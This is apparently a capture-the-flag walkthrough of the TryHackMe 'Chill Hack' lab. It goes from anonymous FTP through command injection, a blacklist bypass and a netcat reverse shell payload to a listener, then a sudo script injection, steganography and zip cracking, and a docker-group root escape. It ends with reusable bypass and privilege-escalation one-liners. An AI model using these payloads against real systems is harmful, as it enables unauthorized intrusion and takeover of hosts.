Chill Hack Walkthrough (TryHackMe): Command Injection to Root via Docker
Room Information
- Platform: TryHackMe
- Room Name: Chill Hack
- Difficulty: Easy
- Goal: Capture user.txt and root.txt
- Link: https://tryhackme.com/room/chillhack
Walkthrough
Step 1: Initial Recon - Nmap Scan
First, I run a port scan against the target:
rustscan -a 10.201.106.243 -b 2000 -t 2000 -- -A -sV -sCScan results:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
Findings:
- ✅ FTP (21) - Anonymous login allowed
- ✅ SSH (22) - OpenSSH
- ✅ HTTP (80) - Apache Web Server
Step 2: Exploring the FTP Anonymous Login
I try logging in to FTP as an anonymous user:
ftp 10.201.106.243
# Username: anonymous
# Password: (just press Enter)
List the files:
ftp> ls -la
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
Download note.txt:
ftp> get note.txt
ftp> exit
View the contents:
cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Key takeaways:
- 💡 A potential username: Anurodh
- 💡 A hint about command filtering
Step 3: Exploring the Web App - Directory Scan
I use feroxbuster to scan for hidden directories:
feroxbuster -u http://10.201.106.243/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -d 2Directories found:
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/secret (Status: 301) ⭐
Visiting /secret reveals a command-execution interface!
Step 4: Command Injection - Bypassing the Blacklist Filter
Visiting http://10.201.106.243/secret/ reveals a command input interface.
Testing a basic command:
id
# Executes successfully, returns: uid=33(www-data) gid=33(www-data)
Trying the ls command:
ls
# Page displays: "Are you a hacker?" ❌
Analyzing the blacklist - use tac to view index.php:
tac index.php
The blacklist revealed:
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
Bypass strategy - inserting an empty variable:
The key idea: in Bash, if xyz is undefined, ${xyz} expands to an empty string, so ca${x}t = cat
Reverse Shell Payload:
r${x}m /tmp/f;mkfifo /tmp/f;ca${x}t /tmp/f|/bin/s${x}h -i 2>&1|n${x}c 10.13.90.144 4444 >/tmp/f
Start a listener on the attacker machine (Windows PowerShell):
ncat -lnvp 4444
Submit the payload on the /secret page and I get a shell! 🎉
Step 5: Stabilizing the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 6: Privilege Escalation (www-data → apaar)
Check sudo privileges:
sudo -l
Result:
User www-data may run the following commands on ip-10-201-106-243:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
Inspect the script:
cat /home/apaar/.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null # ⚠️ Directly executes user input!
echo "Thank you for your precious time!"
Vulnerability analysis:
- The script directly executes the contents of the
$msgvariable - This is a clear Command Injection vulnerability!
Escalating via the script:
sudo -u apaar /home/apaar/.helpline.sh
The interaction:
Enter the person whom you want to talk with: admin
Hello user! I am admin, Please enter your message: /bin/bash
Successfully got an apaar shell! 🎉
whoami
# apaar
Grab the user flag:
cat /home/apaar/local.txt
# {USER-FLAG: 9axxxxxxxxxxxxxxxxxxxxxxxx6c}
Step 7: Lateral Movement (apaar → anurodh)
Explore the web directory:
cd /var/www/files
ls -la
File listing:
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php ⭐
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
View hacker.php:
cat /var/www/files/hacker.php
Key contents:
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
Reading the hints:
- 💡 "Look in the dark!" → suggests steganography
- 🖼️ The image to focus on:
hacker-with-laptop_23-2147985341.jpg
Download the image to my machine:
Method 1 - use a Python HTTP Server:
# On the target machine
cd /var/www/files/images
python3 -m http.server 8000
# On Kali
wget http://10.10.XX.XX:8000/hacker-with-laptop_23-2147985341.jpg
Use Stegseek to extract the hidden file:
stegseek hacker-with-laptop_23-2147985341.jpg
Output:
[i] Found passphrase: ""
[i] Original filename: "backup.zip".
[i] Extracting to "hacker-with-laptop_23-2147985341.jpg.out".
Confirm the file type:
file hacker-with-laptop_23-2147985341.jpg.out
# Zip archive data
Try to unzip it:
unzip hacker-with-laptop_23-2147985341.jpg.out
# [hacker-with-laptop_23-2147985341.jpg.out] source_code.php password:
A password is required! 😤
Step 8: Cracking the Zip Password
Using John the Ripper:
# Convert the zip into hash format
zip2john hacker-with-laptop_23-2147985341.jpg.out > zip_hash.txt
# Crack it
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Or use fcrackzip:
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hacker-with-laptop_23-2147985341.jpg.out
PASSWORD FOUND!!!!: pw == pass1wordCracked! Password: pass1word
Unzip it:
unzip hacker-with-laptop_23-2147985341.jpg.out
# Enter password: pass1word
View source_code.php:
cat source_code.php
Key code:
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);
// ...
echo "Welcome Anurodh!";
Findings:
- 💡 This is the password for the anurodh user (Base64-encoded)
- 🔑 Decoding it gives the plaintext password
Decode the Base64:
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
# !d0ntKn0wmYp@ssw0rd
SSH in as anurodh:
ssh [email protected]
# Password: !d0ntKn0wmYp@ssw0rd
Logged in successfully! 🎉
Step 9: Privilege Escalation (anurodh → root)
Check the user's group memberships:
id
Output:
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker) ⭐
Key finding: anurodh is in the docker group!
Check the available Docker images:
docker images
Result:
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 5 years ago 5.57MB
hello-world latest bf756fb1ae65 5 years ago 13.3kB
How the Docker privilege escalation works:
- Members of the docker group can start containers
- Inside a container, you are root by default
- You can mount the host's root filesystem into the container
- Using
chrootto switch into the host's root filesystem = accessing the host as root!
Perform the Docker privilege escalation:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Parameter explanation:
docker run- Start a new container-v /:/mnt- Mount the host's/into the container's/mnt--rm- Automatically remove the container when it exits-it- Interactive terminalalpine- Use the alpine Linux imagechroot /mnt sh- Switch the root directory to/mntand run a shell
Verify privileges:
whoami
# root ✅
Grab the root flag:
cd /root
ls
# proof.txt snap
cat proof.txt
Flag contents:
{ROOT-FLAG: Redacted}
Congratulations! You have successfully completed the challenge.
,-.-. ,----.
,-..-.-./ \==\ ,-.-` , \ _.-. _.-. _,..---._
|, \=/\=|- |==||==|- _.` .-,.'| .-,.'| /==/, - \
|- |/ |/ , /==/|==| `.-.|==|, | |==|, | |==| _ _\
\, , _|==/==/_ , /|==|- | |==|- | |==| .=. |
| - - , |==|==| .-' |==|, | |==|, | |==|,| | -|
\ , - /==/|==|_ `-._|==|- `-._|==|- `-._ |==| '=' /
|- /\ /==/ /==/ , //==/ - , ,/==/ - , ,/ |==|-, _`/
`--` `--` `--`-----`` `--`-----`--`-----' `-.`.____.'
--------------------------------------------Designed By -------------------------------------------------------
| Anurodh Acharya |
---------------------
Done! 🏆
Technical Takeaways
1. Command Injection Blacklist Bypass
ca${x}t /etc/passwd # Empty variable insertion
c"at" /etc/passwd # Splitting with double quotes
c\at /etc/passwd # Backslash
tac /etc/passwd # Alternative command2. Steganography Tools
stegseek image.jpg # Automatic JPG brute-force
steghide extract -sf image.jpg # Manual extraction
zsteg image.png -a # PNG scanning
3. ZIP Password Cracking
fcrackzip -u -D -p rockyou.txt backup.zip
# Or
zip2john backup.zip > hash.txt
john hash.txt --wordlist=rockyou.txt
4. Docker Group Privilege Escalation
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Detection: run id to check whether you are in the docker group
Lessons Learned
On Step 7: Lateral Movement (apaar → anurodh)
I was stuck on this step for a really long time. In the end I had Claude AI look up a writeup, which is how I realized I needed to go back and hunt through the files in the directories under /var/www. Even after finding the file, I didn't immediately think to test for steganography either; it was again only thanks to the writeup's hint that I went and analyzed that image. Looking back on it, the lesson is that you still need to check a website for certain special files. Usually, once you have the user flag it's easier to focus on privilege escalation, but this time I had to pivot to yet another user first before escalating, and that pivot step required finding some of the user's passwords. After that, things were fairly straightforward. ~
Member discussion